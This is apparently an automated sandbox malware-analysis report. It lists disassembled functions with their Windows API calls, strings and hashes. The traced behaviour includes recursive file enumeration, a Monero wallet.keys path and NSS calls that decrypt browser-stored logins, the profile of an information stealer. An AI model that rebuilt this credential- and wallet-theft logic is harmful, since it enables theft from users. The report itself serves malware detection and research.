Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 01004570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 01004580
RtlAllocateHeap.NTDLL(00000000), ref: 01004587
wsprintfA.USER32 ref: 010045A6
FindFirstFileA.KERNEL32(?,?), ref: 010045BD
StrCmpCA.SHLWAPI(?,01010FC4), ref: 010045EB
StrCmpCA.SHLWAPI(?,01010FC8), ref: 01004601
FindNextFileA.KERNEL32(000000FF,?), ref: 0100468B
FindClose.KERNEL32(000000FF), ref: 010046A0
lstrcat.KERNEL32(?,0087FE98), ref: 010046C5
lstrcat.KERNEL32(?,0087ECD0), ref: 010046D8
lstrlen.KERNEL32(?), ref: 010046E5
lstrlen.KERNEL32(?), ref: 010046F6

Strings

%s\*, xrefs: 0100459A
%s\%s, xrefs: 0100461B

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 36f2734cf2573e52845d9aee9cd26d9a7c6d3b2ce8846798e1ba528940d2417f
Instruction ID: 568e2c971a3a6accc242b22a0d5ee11f140a36f3f6ff3cba7ab551bdc67da353
Opcode Fuzzy Hash: 36f2734cf2573e52845d9aee9cd26d9a7c6d3b2ce8846798e1ba528940d2417f
Instruction Fuzzy Hash: 4C5162B1900218ABDB65EB70EC8DFED737CBB58300F404598E68AD7084EB759B848F91

Function 00FFED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FFED3E
FindFirstFileA.KERNEL32(?,?), ref: 00FFED55
StrCmpCA.SHLWAPI(?,01011538), ref: 00FFEDAB
StrCmpCA.SHLWAPI(?,0101153C), ref: 00FFEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00FFF2AE
FindClose.KERNEL32(000000FF), ref: 00FFF2C3

Strings

%s\*.*, xrefs: 00FFED32

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 1209134ded40fd3fb809ea172c76827103a1a84437f56ca35698515344945685
Instruction ID: 0b031d417a133ed215ea3c26ed939dbb1970c5d0095409387083189c3a7eca4f
Opcode Fuzzy Hash: 1209134ded40fd3fb809ea172c76827103a1a84437f56ca35698515344945685
Instruction Fuzzy Hash: 11E1D272A11219DAFB56FB60DC55EEE7338AF64200F4041A9A54B670D1EF306F8ACF51

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C67D82C
<jemalloc>, xrefs: 6C67D827

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 00FFDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,01010C2E), ref: 00FFDE5E
StrCmpCA.SHLWAPI(?,010114C8), ref: 00FFDEAE
StrCmpCA.SHLWAPI(?,010114CC), ref: 00FFDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00FFE3E0
FindClose.KERNEL32(000000FF), ref: 00FFE3F2

Strings

\*.*, xrefs: 00FFDE26

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 485dbc2f8a93aab62dd77fd58886d5291f8a486cd165a64421ad2156b3c71e8c
Instruction ID: 523a2e0a64c42a58af66b765ece01038cebdc2ecf99915dcac718791d781b4e0
Opcode Fuzzy Hash: 485dbc2f8a93aab62dd77fd58886d5291f8a486cd165a64421ad2156b3c71e8c
Instruction Fuzzy Hash: CBF18075A14219DAEB5AEB60DD94EEE7338BF34300F4041DA958A670D0EF346B89CF61

Function 00FFC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FFC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FFC87C
PK11_GetInternalKeySlot.NSS3 ref: 00FFC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00FFC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00FFC8EB
lstrcat.KERNEL32(?,01010B46), ref: 00FFC943
lstrcat.KERNEL32(?,01010B47), ref: 00FFC957
PK11_FreeSlot.NSS3(?), ref: 00FFC961
lstrcat.KERNEL32(?,01010B4E), ref: 00FFC978

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 11cf9d1ccc40e5e2092f1c39b26ac49114a459fed5ca7ccec92aaf5631d2eb9d
Instruction ID: 556ad5b9b896a5888df9000862592c349f1e80cb057274df1e3ee529a83f8c69
Opcode Fuzzy Hash: 11cf9d1ccc40e5e2092f1c39b26ac49114a459fed5ca7ccec92aaf5631d2eb9d
Instruction Fuzzy Hash: F0415E7590421EDBCB20CFA4DD89BFEB7B8BF44704F1041A8E609A7284D7749A84DF91

Function 013D7F5C Relevance: 12.9, Strings: 9, Instructions: 1645COMMON

Download Yara Rule

Strings

D$?, xrefs: 013D8DA7
:Qn, xrefs: 013D8BA8
2Puy, xrefs: 013D81B8
{sqx, xrefs: 013D801B
x;>, xrefs: 013D9294
}6u3, xrefs: 013D8635
CJ?o, xrefs: 013D8782
D$}, xrefs: 013D8318
:K>', xrefs: 013D8352

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2Puy$:K>'$:Qn$CJ?o$D$?$D$}$x;>${sqx$}6u3
API String ID: 0-280405408
Opcode ID: ce23704f98792192a24afebed3fafe2385e0685ad224a4135fcdd470d035893d
Instruction ID: 6e842841ddc2b2fd170e2c2cc24aaff9c4b87b4a4aec868802f65ca5dfc23404
Opcode Fuzzy Hash: ce23704f98792192a24afebed3fafe2385e0685ad224a4135fcdd470d035893d
Instruction Fuzzy Hash: 2AB208F36082149FE304AE2DEC8567BBBE9EFD4620F16863DE6C4C3744EA7558058692

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

(root), xrefs: 6C6A354F
expected a Time entry, xrefs: 6C6A2E36
ProfileBuffer parse error: %s, xrefs: 6C6A2E3B

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 013CC39D Relevance: 11.7, Strings: 8, Instructions: 1657COMMON

Download Yara Rule

Strings

%?], xrefs: 013CCABD
`~, xrefs: 013CC5AC
;;dm, xrefs: 013CD176
0oR, xrefs: 013CD332
F+z, xrefs: 013CCA3E
Yz, xrefs: 013CCF60
kC~, xrefs: 013CCA90
A17{, xrefs: 013CCA0B

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %?]$0oR$;;dm$A17{$F+z$Yz$kC~$`~
API String ID: 0-3098715561
Opcode ID: 76355c36335885076275fde589747f32818883716f43f69b4ae76e70f7a1e2e9
Instruction ID: d689505e3f9bc3f611f45af0ed9bec5f20e24577c4d5dbdd9ee10fd798aa4414
Opcode Fuzzy Hash: 76355c36335885076275fde589747f32818883716f43f69b4ae76e70f7a1e2e9
Instruction Fuzzy Hash: 7FB2C6F360C2049FE304AE29EC8567AFBE9EF94720F16493DE6C4C3744EA7598418697

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6C65D7DD
0, xrefs: 6C65D852
0, xrefs: 6C65DC7F
9, xrefs: 6C65DE7F
1, xrefs: 6C65DBDD
8, xrefs: 6C65DC08
, xrefs: 6C65DA88
@, xrefs: 6C65DAF6

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
